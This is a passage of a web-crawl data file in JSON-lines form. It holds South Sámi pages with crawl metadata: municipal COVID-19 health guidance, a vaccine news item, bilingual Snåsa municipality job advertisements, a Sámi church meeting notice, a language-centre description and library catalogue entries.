tjaetsie stïeresne.\n- Gaavnh jeatjah buarastehtemevuekieh jïh gaanemevuekieh.\nMij sjugniehtåvva jis leam naakenen lïhke orreme mij suetiem åådtjeme?\nTjïelten åejviedåaktere sæjhta, laavenjostosne Almetjehealsoeinstituhtine, almetjh gaskesadtedh mah lïhke gaskesem åtneme almetjinie mij positijve vaestiedassem åådtjeme satne koronavijrusem åådtjeme.\nInkubasjovnetïjje jïh symptomh\nInkubasjovnetïjje sæjhta jiehtedh dehtie tïjjeste gosse suetiem åadtjoeji goske skïemtjelasse symptomh vadta, jïh WHO aervede daate tijje ryöhkoe 5-6 biejjieh, men maahta jeerehtidh 0-14 biejjieh. Symptomh leah seammaplïeres goh dah mah vuejnieh gosse sovhtine jallh influensam åtna.\n- Vaejlie, tjeapohke saejrede jïh gossehtahke.\n- Naakenh gåbloe-ovlemem evtiedieh dåeriesmoerigujmie voejngehtidh.\nKoronavijruse maahta laanestidh almetjijstie mah eah symptomh utnieh?\n- Vihkielommes suetie sjugniehtåvva gosse almetjh symptomh utnieh, men suetie aaj gåarede eevre åvtelen symptomh åådtje.\n- Jis skïemtjes, årroeh gåetesne.\nMaam darjoem jis vïenhtem manne leam suetiem åådtjeme?\n- Jis skïemtjes, årroeh gåetesne.\n- Jis skïemtjes jïh dåaktereviehkiem daarpesjh, jallh individuelle healsoeraeriestimmiem daarpesjh, gaskesadth staeriesdåakterem tellefovnesne jallh elektrovneles.\n- Jis datne faahketji healsoeviehkiem daarpesjh jïh ih gaskesem staeriesdåaktarinie åadtjoeh, ringkh 116 117.\n- Ajve gosse skïemtjelasse mij jieledem håvhtede jallh gosse skaara edtja 113-nommerem ringkedh.\nMij sæjhta jiehtedh gosse WHO lea koronavijrusem bæjhkoehtamme goh pandemije?\nAlmetjehealsoeinstituhte pandemijem tjïelkeste goh «skïemtjelasse mij faahketji båata jïh maam joekoen gellie almetjh åadtjoeh jïh saasere stoerre bieline veartenistie.»\nRaajnes gïeth lea joekoen vihkeles juktie gaskesesuetiem heerredidh\nRaajnes gïeth leah vihkeles råajvarimmie juktie skïemtjelassem heerredidh.\n- Almetjh mah leah skïemtjes byöroeh gïetide veelelaakan bissedh gosse lea vaahra dah leah suetiem gïetine åådtjeme (vuesiehtimmiem gaavhtan gosse lea snovsedamme), åvtelen dah daeverh byjreskinie doehtedieh.\n- Mijjieh juvnehtibie gïetide bissedh tjoeline jïh lïenetjaetsine, men gïetedesinfeksjovne lea hijven alternatijve maam aaj maahta tjirrehtidh skiemtjieseangkosne.\n- Aaj vihkeles fuelhkielïhtsegh jïh mubpieh mah gaskesem utnieh skïemtjijinie leah lissie væjkele gïetide bissedh mænngan gaskesem åtneme skïemtjijinie jallh daeverigujmie mah maehtieh suetiem utnedh, goh snoelkepaehperh.\nIj leah juvnehtimmie njaelmieskuvmiem nuhtjedh healsoedïenesjen ålkolen\nIbie njaelmieskuvmiem juvnehth tjarres almetjidie. Men daate ij leah faamosne jis healsoedïenesjisnie barka, jallh gaskesem åtna almetjinie mij vihtiestamme jallh sovmeme ovlemem koronavijrusinie åtna. Båajhtoeh åtnoe daamtaj sjugniehtåvva, jïh almetjh mah njaelmieskuvmiem nuhtjieh ååredæjjam daamtajåbpoe doehtedieh, naakede mij maahta suetievaahram lissiehtidh. Almetjh mah leah skïemtjes maehtieh njaelmieskuvmiem nuhtjedh juktie suetiem heerredidh mubpide.\nGie byöroe koronavijruseteestem vaeltedh?\nAlmetjh hiejmekaranteenesne eah eah teestem vaeltedh jïh eah edtjh healsoedïenesjem gaskesadtedh jis eah healsoeviehkiem daarpesjh.\nMijjieh såemies skïemtjijedåehkieh jïh healsoebarkijh symptomigujmie voejngehtimmine prioriteradibie teestadæmman.\nMijjieh ahkedh vuarjasjibie mah krïevenassh mah leah faamosne teestadæmman.\nBïsseme gåetesne jïh byögkeles sijjine\nDaelie jueriedisnie man guhkiem vijruse jielieminie bijjieskierine. Sæjhta jeerehtidh magkeres bijjieskierie lea, temperatuvreste, biejjietjoevkesistie jïh låpsoesvoeteste elmesne. Dan åvteste vijruse maahta biejjieskierine gååvnesidh dellie bisseme gïetijste vihkielommes råajvarimmie.\nHealsoedirektoraate lea kollektijvesïelth haasteme lissie bïsseminie nïerhkedh T-baanevåågnijste, bussijste, trigkijste jnv. Healsoedirektoraate aaj haasta lissie bïssemem utnedh dejnie sijjine gusnie gellie almetjh fealadieh.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/roros.kommune.no\/aktuelt\/suetie-inkubasjovnetijje-jih-teestadimmie\/","date":"2021-06-15T18:39:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487621519.32\/warc\/CC-MAIN-20210615180356-20210615210356-00142.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":594,"character_repetition_ratio":0.056,"word_repetition_ratio":0.003,"special_characters_ratio":0.141,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaksijne 300.000 studeentide\nAlmetjehealsoeinstituhte vuartesje guktie medtie 300.000 studeenth edtjieh vaksijnem giesie doekoe åadtjodh. Voestes veahka vaksijneste edtja vaaltasovvedh tjïeltesne gusnie studeenth leah registreereme Almetjeregisteerisnie. Mubpie veahka vaksijneste edtja vaaltasovvedh tjïeltesne gusnie studeenth leah lohkeminie, dåaktere Are Stuwitz Berg AHI:sne NRK:se jeahta. - Mijjieh daejnie barkeminie. Dåeriesmoere lea ibie daejrieh gubpede edtjebe veahkide vaeltedh. Dïsse vuartasibie daelie, jeahta.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.nrk.no\/sapmi\/vaksijne-300.000-studeentide-1.15535961","date":"2021-08-04T15:33:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154878.27\/warc\/CC-MAIN-20210804142918-20210804172918-00448.warc.gz","language":"sma","language_score":0.9998928308,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998928308486938}","num_words":55,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raajan 100 % sæjjasadtjebarkoe nuepine ihkuve barkoem goevteseinsjenöörine TS\/aamhtesereerijinie åadtjodh\nSnåasen tjïelte aktem sæjjasadtjebarkoem åtna mij vaasa 1 jaepiem, nuepine ihkuve barkoem goevteseinsjenöörine TS\/aamhtesereerijinie åadtjodh. Barkoe lea reeremasse evtiedimmieektievoeten nualan bïejesovveme. Barkoen stoeredahke lea raajan 100 % jïh sæjhta daejtie faagesuerkiej bïjre årrodh:\n- Aamhtesh Tjaetsien jïh Såelsiegalkehtimmien sisnjelen\n- Kaarhth jïh geodaata (GIS)\n- Prosjektetjirrehtimmie tjïelteteknihkeles tseegkeldahkijste\n- Sïejhme aamhtesereereme\nBarkoe lea evtiedimmieektievoeten nualan bïejesovveme gusnie teknihke, laanteburrie, jieleme jïh kultuvre. Daesnie mijjen leah 7 aamhtesereerijh joekehts faageduekine mah gaajhkh aamhtesh gïetedieh mah leah daej faagesuerkiej sisnjeli.\nTjïelten akte vijries laavenjostoe Siströöndelagetjïeltigujmie Stïentje jïh Inderøy. Mijjieh aaj laavenjostoem tseegkeminie jieniebinie faagesuerkine Innherred-regijovnesne gusnie dagkeres barkoe aaj maahta meatan årrodh dagkeres laavenjostosne.\nKvalifikasjovnh\n- Bachelor jallh maastere tjaetsie- jïh såelsiegalkehtimmieteknihken jallh plearoeh sisnjelen. Sïjhtebe aaj ohtsijh vuarjasjidh jeatjah sjiehteles ööhpehtimmine jïh faageduekine\n- Praksise privaate jallh byögkeles gïehtelimmeste faagesuerkien sisnjelen lea vaajteles\n- Daajroe sjyöhtehke laaki bïjre vaajteles. Daerpies lïerehtimmie vadtasåvva\n- Væjkele gaskesadtedh jïh laavenjostedh, hijven nöörjen buektemevoetine\n- Hijven daajroe IKT:n bïjre\nMijjieh faalehtibie\n- Ïedtjije barkoeaarkebiejjie faagesuerkien sisnjelen gelliej darjomigujmie jïh stoerre veanhtadimmiejgujmie tjïelten dïenesjidie\n- Lïerehtimmie jïh daajroebigkeme\n- Baalhka ööhpehtimmien jïh barkoedååjrehtimmien mietie\n- Seehteme tjïelten krïevenassi mietie, hijven tjirkeme- jïh pensjovneöörnegh\nBïevnesh barkoen bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie Are Tomter, tell. 992 71 015\nVaajteles dïhte mij barkoem åådtje vuejemeleahpam bïjlese åtna jïh maahta jïjtse bïjlem dïenesjisnie nuhtjedh.\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïele- jïh kultuvremaahtojne.\nOhtsememierie: 27.09.21.\nOhtsh barkoem elektrovneles ohtsemegoeresne.\n_____________________________________________________________\nInntil 100% vikariat med mulighet for fast ansettelse som avdelingsingeniør VA\/saksbehandler\nSnåsa Kommune har ledig 1 års vikariat med mulighet for fast ansettelse som avdelingsingeniør VA \/ saksbehandler. Stillingen ligger til administrasjonen ved utviklingsenheten. Størrelsen på stillingen er inntil 100%, og vil dekke følgende fagområder:\n- Saker innenfor Vann og Avløp\n- Kart og geodata (GIS)\n- Prosjektgjennomføring av kommunaltekniske anlegg\n- Generell saksbehandling\nStillingen er organisert under utviklingsenheten som består av teknisk, landbruk, næring og kultur. Her er vi 7 saksbehandlere med ulik fagbakgrunn som håndterer alle sakene som faller innenfor disse fagfeltene.\nKommunen har et utstrakt samarbeid med Inntrøndelagskommunene Steinkjer og Inderøy. Vi er i ferd med å etablere samarbeid på flere fagområder i innherredsregionen hvor en slik stilling også kan inngå i et slikt samarbeid.\nKvalifikasjoner\n- Bachelor eller master innen vann- og avløpsteknikk eller tilsvarende. Søkere med annen relevant utdanning og fagbakgrunn vil også bli vurdert\n- Praksis fra privat eller offentlig virksomhet innen fagområdet er ønskelig\n- Kjennskap til aktuelle lovverk er ønskelig. Nødvendig opplæring vil bli gitt\n- Gode kommunikasjons- og samarbeidsevne med god norsk framstillingsevne\n- Gode IKT kunnskaper\nVi tilbyr\n- En interessant arbeidshverdag innen et fagområde med høy aktivitet og store forventninger til den kommunale tjenesteytingen\n- Opplæring og kunnskapsbygging\n- Lønnsplassering ut fra utdanning og yrkeserfaring\n- Ansettelse på kommunale vilkår, gunstige forsikrings- og pensjonsordning\nOpplysninger om stillingen fås ved henvendelse til enhetsleder Are Tomter, tlf. 992 71 015\nDen er ønskelig at den som blir tilsatt har sertifikat for personbil og kunne disponere egen bil i tjenesten..\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nSøknadsfrist: 27.09.21.\nStilling søkes på elektronisk søknadsskjema","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/inntil-100-vikariat-med-mulighet-for-fast-ansettelse-som-avdelingsingenior-va-saksbehandler.11755.aspx","date":"2021-09-28T07:29:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780060538.11\/warc\/CC-MAIN-20210928062408-20210928092408-00360.warc.gz","language":"sma","language_score":0.9571581483,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9571581482887268, \"sme_Latn_score\": 0.02183631621301174, \"nob_Latn_score\": 0.019891200587153435}","num_words":480,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjåanghkoe Tråantesne\nSkrevet den 13.11.14\nDaan jaepien aaj Saemien åålmegeraerie, SÅR datnem\/dijjieh tjåanghkose Tråantesne böörie.\nMijjieh edtjijibie Comfort Hotel Parkesne årrodh mij lea kroessesne Bispegeajnose jïh Prinsegeajnoe. Daesnie mijjen leah 80 sijjieh jïh mijjieh libie aaj åådtjeme konferanse goevtesem leejjedh gusnie edtjijibie mijjen darjomh utnedh.\nDaan jaepien aamhtese lea maadthlaaken heevehtimmie jïh bïegkefaamoebigkeme Gaelpesne maam libie tsyögkestalleme.\nGyrhkesjimmie sjædta Ilen gærhkosne laavvardahken rahkan 29:n biejjie ts 17.00. Gyrhkesjimmesne åadtjoejibie aaj fïerhten jaapetje skyllijidie åahpenadtedh.","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.samiskmenighet.no\/event\/doLink\/famid\/425356","date":"2021-09-24T00:58:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057479.26\/warc\/CC-MAIN-20210923225758-20210924015758-00615.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":71,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raarvihken tjïelteståvroe nænnoestimmesne 24.5.2012 latjkin sijhtieh dåarjegh syökedh gïelejarngem- Gïeleaerniem rïhpestidh.\nSaemien gïele- jïh kultuvrejarnge Ravrvihkesne sæjhta saemien gïele- jïh kultuvrine båetije jaapan barkedh\n(lahtese Raarvihken tjïelteståvroen nænnoestimmie 24.5.2012)\nDej minngemes 50 jaepieh dïhte gïele jorkesovveme, jïh vaenebh tjåanghkoesijjieh gusnie maehtebe saemiestidh. Voengen almetjh Raarvihkesne sijhtieh viehkiehtidh gïelem jealajidh jïh Raarvihken tjïelte sæjhta viehkiehtidh gïelem jïh kultuvrem vaarjelidh, jïh aaj rastah dåaresth joekehth prosjeekti jïh darjomigujmie. Gïeleaernie rïhpesovvi ruffien asken 2013.\nGïeleaernie edtja barkedh guktie saemieh tjïeltesne nöödtieh gïele- jïh kultuvrem vaarjelidh jïh evtiedidh.\nGïeleaernie edtja tjåanghkoesijjieh öörnedh gusnie dïhte gïele jïh kultuvre vååjnoes joekehth seminaari, prosjeekti jïh darjomi tjirrh.\nGïeleaernie edtja saemiejgujmie soptsestidh, maam dah sijhtieh darjodh. Maehtede daesnie tjaangedh prïhtjegem jovkedh, soptsestidh, rååresjidh jïh prosjeekth\/ darjomh vaajtelidh.\nGïeleaernie dåarjegh Saemiedigkeste åådtje, jïh Gïeleaernie tjuara darjomesoejkesjem golme jaepieh åvtese stealladidh.\nDennie darjomesoejkesjisnie dle ussjedibie magkerh darjomh edtjebe utnedh golme jaepieh åvtese. Dan gaavhtan sijhtebe dijjieh edtjede Gïeleaernien baaktoe båetedh dijjen åssjaldahkide mijjine juekedh, magkerh kuvsjh, seminaarh jallh prosjeekth sïjhtede utnedh.\nTjaangede, guktie mijjieh ektesne maehtebe rååresjidh.\nBuerie bueteme mijjen gåajkoe.\nBarkijh Gïeleaernesne:\nBerit Ellen Gaino Jåma (50%), konsuleente. Tel: 468 06 489\nMaili Jåma (60%) daelie permisjovnesne,\nlissine dïhte lohkehtæjja (40%) skuvlesne.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/gieleaernie\/gieleaernien-bijre\/","date":"2021-10-28T17:05:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588398.42\/warc\/CC-MAIN-20211028162638-20211028192638-00312.warc.gz","language":"sma","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000065565109253}","num_words":183,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SUJHTEME JÏH HOKSEDÏENESJE SNÅASEN TJÏELTE\nSujhteme- jïh hoksedïenesje Snåasen tjïeltesne lea ektievoete mij ulmine åtna vielie elliesåbpoe dïenesjem faalehtidh. Dïenesjisnie Snåasen Skïemtjegåetie, hïejmedïenesje jïh dïenesje almetjidie funksjovnegiehpiedimmine. Mijjieh tuhtjebe vihkele mijjen utnijh seahkarimmiem, jearsoesvoetem jïh veanhtadihksvoetem dïenesjefaalenassesne dååjroeh, jïh dååjredh sijjieh leah jïjtjeraarehke almetjh jïh nuepiem utnieh jïjtsh jieledem stuvredh. Mijjen barkoen tjïrrh sïjhtebe utniji funksjovnenjieptjiem tjåadtjoehtidh dan guhkiem gåarede.\nPLEIE OG OMSORGSTJENESTEN SNÅSA KOMMUNE\nPleie- og omsorgstjenesten i Snåsa Kommune er en enhet med mål om en mer helhetlig tjeneste. Tjenesten består av Snåsa Sykeheim, hjemmetjenesten og tjeneste for mennesker med funksjonssvikt. Vi er opptatt av at våre brukere skal oppleve respekt, trygghet og forutsigbarhet i tjenestetilbudet, samt ha en opplevelse av selvstendighet og mulighet til å styre eget liv. Gjennom vårt arbeid ønsker vi å opprettholde brukernes funksjonsnivå så lenge som mulig.\nDåårrehtimmiebarkoeh \/ Hïeljebarkoeh\nMijjieh autoriseereme healsoefaagebarkijh, skïemtjesåjhterh, vaarjelimmiesåjhterh, studeenth skïemtjesujhteme- jallh vaarjelimmiesujhtemefaagen sisnjelen jïh sujhtemeklahkh healsoefaageööhpehtimmesne staeries hïeljebarkojde vaajtelibie, barkojne fïerhten 2. jallh 3. hïeljen mij jeereldihkie barkoestoeredahkem vadta, medtie 15-25 % barkoej raejeste. Maahta nuepie sjïdtedh barkoen stoeredahkem lissiehtidh, latjkojne v.g. giesiebarkoen bïjre unnemes 75 % barkosne + barkoe jåvli jallh påaski jallh jeatjah tïjji.\nTjïelte lea öörnegem sjïehtesjamme namhtah hïejmevuelkieminie 1 aejkien fïerhten asken, studeentide \/learoehkidie mah staeries barkoelatjkoen bïjre seamadamme hïeljebarkose. Krïevenasse lea unnemes 2 vaeptieh fïerhten hïeljen jïh guhkemes hïejmevuelkeme, akte gåhkaldahke, lea 18 mïjlh.\nDah mah jïjtjemse åeliedieh latjkoem darjodh giesiebarkoen bïjre tsïengelen 15.b. 2022 åvtelen, maehtieh 10 000 kråvnah bonusinie åadtjodh jis 100 % sæjjasadtjine berkieh Snåasen tjïeltesne eejehtallemen.\nUlmie dåårrehtimmiebarkoejgujmie lea skïemtjesåjhtere- jïh vaarjelimmiesåjhterestudeenth jïh sujhtemeklahkh mah leah healsoefaageööhpehtimmesne edtjieh buerebelaakan organisasjovnine Snåasen tjïelte åahpenidh. Snåasen tjïelte jarngesne åtna kvaliteetem dïenesjinie guhkiebasse evtiedidh. Kvaliteete dïenesjinie bööremeslaakan gorresåvva hijven faagebyjresi tjïrrh. Dan åvteste vaajtelibie jienebh orreööhpehtamme dåårrehtidh mah orre daajroem buektieh jïh orre raerieh utnieh.\nSnåasen tjïelte elliestïjjenbæjhkoehtimmine barkeminie mij edtja våaroeminie årrodh jis ussjede staeries barkojne aelkedh mænngan ööhpehtimmiem galhkeme.\nBarkoelaavenjassh\n- Dïenesjh vedtedh sïejhme laaki jïh mieriedimmiej mietie\n- Praktihkeles jïh persovneles viehkiem vedtedh jïh daerpies healsoeviehkiem, daan nuelesne sujhteme, medisijnen båehtjierdimmie jïh bådtjagïetedimmie.\n- Hijven faageles dokumentasjovnem hoksedh.\n- Jeatjah laavenjassh mah leah vïedteldihkie dïenesjidie\nKvalifikasjovnh\n- faageprievie goh healsoefaagebarkije, viehkiesåjhtere, hoksebarkije\n- byögkeles jååhkesjamme skïemtjesåjhtere jallh vaarjelimmiesåjhtere\n- studeente skïemtjesujhteme- jallh vaarjelimmiesujhtemefaagen sisnjelen\n- healsoefaagestudeente\n- almetjh bielelen ööhpehtimmie maehtieh aaj ohtsedh, jïh dellie maahta annjebodts barkoem vedtedh\nOhtsije tjuara nöörjen haalvedh, dovne njaalmeldh jïh tjaaleldh.\nOhtsije tjuara eeremasth vuejemeleahpam kl. B. utnedh. Maehtebe aaj ohtsijh bielelen vuejemeleahpam vuarjasjidh dïenesjinie gusnie ij leah daerpies vuejemeleahpine.\nPersovneles jïjtsevoeth\n- Kvaliteetem jarngesne åtna jïh faageles evtiedimmine viehkehte\n- Seahkarimmiem jïh hoksem vuesehte skïemtjijidie, lïhke fualhkan jïh barkoevoelpide\n- Hijven bïevstere jïh daajra sov lea dïedte meatan årrodh hijven barkoebyjresem sjugniedidh\n- Lea radtjohke, eadtjohke, fleksijbele jïh raerieh vuajna\n- Jïjtjeraarehke dïedtem vaalta jïh lyjhkoe dåehkesne barkedh\n- Hijven IKT-daajroeh åtna jïh maahta faagesysteemh lïeredh mah åtnasuvvieh Snåasen tjïeltesne\n- Leavloe bïejesåvva persovneles sjiehtelesvoetese\nMaehtebe faalehtidh\n- Hijven faageles jïh sosijaale barkoebyjrese\n- Væjkele barkoeguejmieh hijven bïevsterinie mah faagem jarngesne utnieh\n- Baalhka maahtoen jïh kvalifikasjovni mietie\n- Hijven pensjovneöörnege, Lïhtsege KLP:sne gusnie 2 % baalhkeste geasalguvvieh\nSnåasen tjïelte lea guektiengïeleldh tjïelte jïh dan åvteste sæjhta almetjh åarjelsaemien gïeline jïh kultuvremaahtojne dåårrehtidh.\nVielie bïevnesh barkoej bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie Ragnhild Moum Agle tlf. 99583727 jallh goevtesen åvtehkinie Ann-Elin Øverli tlf. 99018604.\nOhtseme seedtesåvva elektrovneles goeresne. Ohtsememierie goeven 12.12. 2021.\n6 stk. Rekrutteringsstillinger \/ Helgestillinger\nVi søker autoriserte helsefagarbeidere, sykepleiere, vernepleiere, studenter innen sykepleie- eller vernepleiefaget og pleieassistenter som er i ett helsefaglig utdanningsløp til faste helgestillinger med arbeid hver 2. eller hver 3. helg som gir varierende grad av stillingsstørrelse, fra ca. 15-25 % stillinger. Det kan være mulig å øke stillingsstørrelse med avtale om f.eks. sommerjobb i 6 uker i minimum 75 % stilling + jobb i julehøytid eller påskehøytid eller andre tidspunkt.\nDet er innført en ordning med betalt hjemreise 1. g. pr. mnd. for studenter\/elever som har inngått fast arbeidsavtale for helgearbeid. Dette forutsetter minimum 2 vakter pr. helg og maksimum hjemreisestrekning 18 mil en vei.\nDe som forplikter seg til avtale om sommerjobb innen 15 januar 2022, vil kunne få en bonus på kr 10 000 ved 6 ukers ferievikariat 100 % st. i Snåsa kommune.\nFormålet med rekrutteringsstillinger er at sykepleier- og vernepleierstudenter og pleieassistenter som er i ett helsefaglig utdanningsløp skal bli bedre kjent med organisasjonen Snåsa kommune. Snåsa kommune har fokus på å videreutvikle kvaliteten på tjenestene. Kvaliteten på tjenestene sikres best gjennom gode faglige miljø. Derfor ønsker vi å rekruttere flere nyutdannede som bringer inn ny kunnskap og har friske innspill.\nSnåsa Kommune arbeider med heltidserklæring som et grunnlag med tanke på fast tilsetting etter endt utdanning.\nArbeidsoppgaver\n- Gi tjenester etter gjeldende lover og forskrifter.\n- Yte praktisk og personlig bistand samt nødvendig helsehjelp, herunder stell, pleie, medisinsk behandling og medikamenthåndtering.\n- Sikre god faglig dokumentasjon.\n- Andre oppgaver som tilhører tjenester\nKvalifikasjoner\n- fagbrev som helsefagarbeider, hjelpepleier, omsorgsarbeider\n- off. godkjent sykepleier eller vernepleier\n- student innenfor sykepleie- eller vernepleiefaget\n- helsefagstudent\n- ufaglærte kan også søke og det kan da gis midlertidige ansettelser.\nMå beherske norsk språk, både muntlig og skriftlig. Må fortrinnsvis ha førerkort kl. B. Søkere uten førerkort kan også vurderes i tjenester der førerkort ikke er avgjørende.\nPersonlige egenskaper\n- Har fokus på kvalitet og bidrar til faglig utvikling\n- Viser respekt og omtanke for pasienter, pårørende og kollegaer\n- Godt humør og er bevisst sitt bidrag til å skape et positivt arbeidsmiljø\n- Er effektiv, engasjert, fleksibel og løsningsorientert\n- Tar selvstendig ansvar og liker å jobbe i team\n- Har gode IKT-kunnskaper og kan tilegne deg fagsystemer som til enhver tid brukes i Snåsa kommune\n- Personlig egnethet vektlegges\nVi kan tilby\n- Godt faglig og sosialt arbeidsmiljø\n- Dyktige kollegaer med godt humør og faglig fokus.\n- Lønn etter kompetanse og kvalifikasjoner\n- Konkurransedyktig pensjonsordning, Medlemskap i KLP med 2% trekk i lønn.\nSnåsa kommune er en tospråklig kommune og har derfor et ønske om å rekruttere inn personer med sørsamisk språk og kulturkompetanse.\nNærmere opplysninger om stillingene fås ved henvendelse til enhetsleder Ragnhild Moum Agle tlf. 99583727 eller avdelingsleder Ann-Elin Øverli tlf. 99018604.\nSøknad sendes på elektronisk skjema. Søknadsfrist 12. desember 2021","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/daarrehtimmiebarkoeh-hieljebarkoeh-6-stk-rekrutteringsstillinger-helgestillinger.11848.aspx","date":"2021-12-05T08:41:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363149.85\/warc\/CC-MAIN-20211205065810-20211205095810-00501.warc.gz","language":"sma","language_score":0.9918431044,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9918431043624878}","num_words":936,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 2002 Faage Siebriedahkefaage Saemien histovrije jïh siebriedahke Saemien visuelle kultuvre Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN Vi326 Tïjje 00:50:00 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/filbma_sapmi-extragavaza","date":"2021-11-29T15:49:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358774.44\/warc\/CC-MAIN-20211129134323-20211129164323-00140.warc.gz","language":"sma","language_score":0.9981053472,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9981053471565247}","num_words":51,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Giæver, Giertrude Bertije Nor Produkter AS Vaadtasovvemejaepie 2002 Faage Eatnemelearoe jïh histovrije Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Daaroengïele ISBN 8299727049 Formaate Sïejhme gærja Reakta-aajhtere Nor Produkter AS Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 55 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage Religiovne Jielemevuajnoe Aalkoeåålmegi jaahkoe Kristelesvoeten bïjre Siebriedahke Siebriedahkedaajroe Saemiengïele Gïelehistovrije","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ovttas.no\/sma\/node\/8048","date":"2022-01-21T11:47:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303356.40\/warc\/CC-MAIN-20220121101528-20220121131528-00216.warc.gz","language":"sma","language_score":0.9997057915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997057914733887}","num_words":63,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Tjaelije Utsi, Margrethe B. Dimpas, Anne Lene Bertije Sámi lohkanguovddáš ovttas|aktan|aktesne Unesco Sánag Vaadtasovvemejaepie 2021 Faage KRJL Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Sámi lohkanguovddáš ovttas|aktan|aktesne Unesco Sánag Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Kultuvre Filme Aarhte jïh daajroe Healsoe Religiovne Etihke Siebriedahke Skuvle jïh ööhpehtimmie","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ovttas.no\/sma\/node\/35677","date":"2022-01-21T12:21:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303356.40\/warc\/CC-MAIN-20220121101528-20220121131528-00120.warc.gz","language":"sma","language_score":0.9931031466,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 